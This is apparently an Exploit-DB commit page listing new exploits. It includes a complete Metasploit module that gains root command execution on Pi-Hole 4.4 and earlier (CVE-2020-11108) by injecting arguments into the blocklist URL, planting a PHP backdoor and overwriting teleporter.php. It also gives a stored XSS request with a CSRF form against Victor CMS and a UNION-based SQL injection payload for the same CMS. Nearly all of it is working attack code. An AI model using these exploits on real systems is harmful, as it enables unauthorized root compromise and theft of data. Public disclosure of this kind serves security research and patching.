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8 changes to exploits/shellcodes Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit) Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting Victor CMS 1.0 - 'cat_id' SQL Injection qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting php-fusion 9.03.50 - 'ctype' SQL Injection Submitty 20.04.01 - Persistent Cross-Site Scripting NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password) Victor CMS 1.0 - Authenticated Arbitrary File Upload
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Offensive Security
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May 20, 2020
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## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
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class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
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include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HttpServer | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
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def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution', | ||
'Description' => %q{ | ||
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an | ||
update is forced (gravity) to pull in the blocklist content. PHP content is then written | ||
to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, | ||
effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting, | ||
the content. Lastly, the phase 1 PHP file is called in the web root, which launches | ||
our payload in teleporter.php with root privileges. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'h00die', # msf module | ||
'Nick Frichette' # original PoC, discovery | ||
], | ||
'References' => | ||
[ | ||
['EDB', '48443'], | ||
['EDB', '48442'], | ||
['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], | ||
['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'], | ||
['CVE', '2020-11108'] | ||
], | ||
'Platform' => ['php'], | ||
'Privileged' => true, | ||
'Arch' => ARCH_PHP, | ||
'Targets' => | ||
[ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DisclosureDate' => 'May 10 2020', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], | ||
'Reliability' => [REPEATABLE_SESSION] | ||
} | ||
) | ||
) | ||
# set the default port, and a URI that a user can set if the app isn't installed to the root | ||
register_options( | ||
[ | ||
Opt::RPORT(80), | ||
OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), | ||
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']), | ||
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']) | ||
] | ||
) | ||
end | ||
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def setup | ||
super | ||
@stage = 0 | ||
end | ||
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def on_request_uri(cli, request) | ||
if request.method == 'GET' | ||
vprint_status('Received GET request. Responding') | ||
send_response(cli, rand_text_alphanumeric(5..10)) | ||
return | ||
end | ||
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case @stage | ||
when 0 | ||
vprint_status('(1/2) Sending priv esc trigger') | ||
send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>}) | ||
@stage += 1 | ||
when 1 | ||
vprint_status('(2/2) Sending root payload') | ||
send_response(cli, payload.encoded) | ||
@stage = 0 | ||
else | ||
send_response(cli, rand_text_alphanumeric(5..10)) | ||
vprint_status("Server received default request for #{request.uri}") | ||
end | ||
end | ||
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def check | ||
begin | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), | ||
'method' => 'GET' | ||
) | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 | ||
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# <b>Pi-hole Version <\/b> v4.3.2 <b> | ||
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b> | ||
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d\.]+).*<b>} =~ res.body | ||
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if version && Gem::Version.new(version) <= Gem::Version.new('4.4') | ||
vprint_good("Version Detected: #{version}") | ||
return CheckCode::Appears | ||
else | ||
vprint_bad("Version Detected: #{version}") | ||
return CheckCode::Safe | ||
end | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") | ||
end | ||
CheckCode::Safe | ||
end | ||
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def add_blocklist(file, token, cookie) | ||
# according to the writeup, if you have a port, the colon gets messed up in the encoding. | ||
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets | ||
# messed with. | ||
data = { | ||
'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "), | ||
'field' => 'adlists', | ||
'token' => token, | ||
'submit' => 'saveupdate' | ||
} | ||
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send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), | ||
'method' => 'POST', | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'tab' => 'blocklists' | ||
}, | ||
'data' => data.to_query | ||
) | ||
end | ||
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def update_gravity(cookie) | ||
vprint_status('Forcing gravity pull') | ||
send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'), | ||
'cookie' => cookie | ||
) | ||
end | ||
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def execute_shell(backdoor_name, cookie) | ||
vprint_status('Popping root shell') | ||
send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name), | ||
'cookie' => cookie | ||
) | ||
end | ||
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def login(cookie) | ||
vprint_status('Login required, attempting login.') | ||
send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'tab' => 'blocklists' | ||
}, | ||
'vars_post' => { | ||
'pw' => datastore['PASSWORD'] | ||
}, | ||
'method' => 'POST' | ||
) | ||
end | ||
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def exploit | ||
if check != CheckCode::Appears | ||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') | ||
end | ||
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if datastore['SRVPORT'] != 80 | ||
fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful') | ||
end | ||
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if datastore['SRVHOST'] == '0.0.0.0' | ||
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') | ||
end | ||
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start_service({ 'Uri' => { | ||
'Proc' => proc do |cli, req| | ||
on_request_uri(cli, req) | ||
end, | ||
'Path' => '/' | ||
} }) | ||
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begin | ||
# get cookie | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') | ||
) | ||
cookie = res.get_cookies | ||
print_status("Using cookie: #{cookie}") | ||
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# get token | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'tab' => 'blocklists' | ||
} | ||
) | ||
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# check if we got hit by a login prompt | ||
if res && res.body.include?('Sign in to start your session') | ||
res = login(cookie) | ||
end | ||
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if res && res.body.include?('Sign in to start your session') | ||
fail_with(Failure::BadConfig, 'Incorrect Password') | ||
end | ||
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# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk="> | ||
# may also include / | ||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body | ||
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unless token | ||
fail_with(Failure::UnexpectedReply, 'Unable to find token') | ||
end | ||
print_status("Using token: #{token}") | ||
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# plant backdoor | ||
backdoor_name = "#{rand_text_alphanumeric 5..10}.php" | ||
register_file_for_cleanup backdoor_name | ||
print_status('Adding backdoor reference') | ||
add_blocklist(backdoor_name, token, cookie) | ||
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# update gravity | ||
update_gravity(cookie) | ||
if @stage == 0 | ||
print_status('Sending 2nd gravity update request.') | ||
update_gravity(cookie) | ||
end | ||
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# plant root upgrade | ||
print_status('Adding root reference') | ||
add_blocklist('teleporter.php', token, cookie) | ||
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# update gravity | ||
update_gravity(cookie) | ||
if @stage == 1 | ||
print_status('Sending 2nd gravity update request.') | ||
update_gravity(cookie) | ||
end | ||
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# pop shell | ||
execute_shell(backdoor_name, cookie) | ||
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists") | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") | ||
end | ||
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end | ||
end |
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# Exploit Title: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting | ||
# Google Dork: N/A | ||
# Date: 2020-05-19 | ||
# Exploit Author: Kishan Lal Choudhary | ||
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite | ||
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip | ||
# Version: 1.0 | ||
# Tested on: Windows 10 | ||
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Description: The POST parameter 'comment_author' is vulnerable to stored cross site scripting | ||
Payload: <script>alert(1)</script> | ||
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POST /post.php?post=1 HTTP/1.1 | ||
Host: localhost | ||
Content-Length: 146 | ||
Cache-Control: max-age=0 | ||
Upgrade-Insecure-Requests: 1 | ||
Content-Type: application/x-www-form-urlencoded | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | ||
Referer: http://localhost/post.php?post=1 | ||
Accept-Encoding: gzip, deflate | ||
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 | ||
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72 | ||
Connection: close | ||
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comment_author=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&comment_email=lol%40lol.com&comment_content=%3Cp%3Etester%3C%2Fp%3E&create_comment= | ||
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------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ||
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CSRF | ||
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<html> | ||
<!-- CSRF PoC - generated by Burp Suite Professional --> | ||
<body> | ||
<script>history.pushState('', '', '/')</script> | ||
<form action="http://149.28.135.91/post.php?post=1" method="POST"> | ||
<input type="hidden" name="comment_author" value="<script>alert("XSS")</script>" /> | ||
<input type="hidden" name="comment_email" value="lol@lol.com" /> | ||
<input type="hidden" name="comment_content" value="<p>tester</p>" /> | ||
<input type="hidden" name="create_comment" value="" /> | ||
<input type="submit" value="Submit request" /> | ||
</form> | ||
</body> | ||
</html> |
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# Exploit Title: Victor CMS 1.0 - 'cat_id' SQL Injection | ||
# Google Dork: N/A | ||
# Date: 2020-05-19 | ||
# Exploit Author: Kishan Lal Choudhary | ||
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite | ||
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip | ||
# Version: 1.0 | ||
# Tested on: Windows 10 | ||
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Description: The GET parameter 'category.php?cat_id=' is vulnerable to SQL Injection | ||
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Payload: UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+-- | ||
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http://localhost/category.php?cat_id=-1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+-- | ||
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By exploiting the SQL Injection vulnerability by using the mentioned payload, an attacker will be able to retrieve the database name and version of mysql running on the server. |
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